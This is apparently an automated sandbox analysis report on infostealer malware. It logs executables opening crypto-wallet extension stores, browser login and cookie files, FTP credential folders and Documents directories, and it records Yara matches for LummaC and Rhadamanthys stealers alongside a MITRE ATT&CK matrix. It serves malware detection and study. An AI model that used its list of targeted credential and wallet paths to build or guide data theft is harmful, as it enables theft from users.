Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: Process Memory Space: d2cb36d600.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f237e29d5.exe PID: 3060, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d2cb36d600.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f237e29d5.exe PID: 3060, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000029.00000003.2360437408.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2350989316.0000000001240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2372633132.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2360789090.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0062EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0062EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0062DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0062DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	512 Process Injection	31 Obfuscated Files or Information	21 Input Capture	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
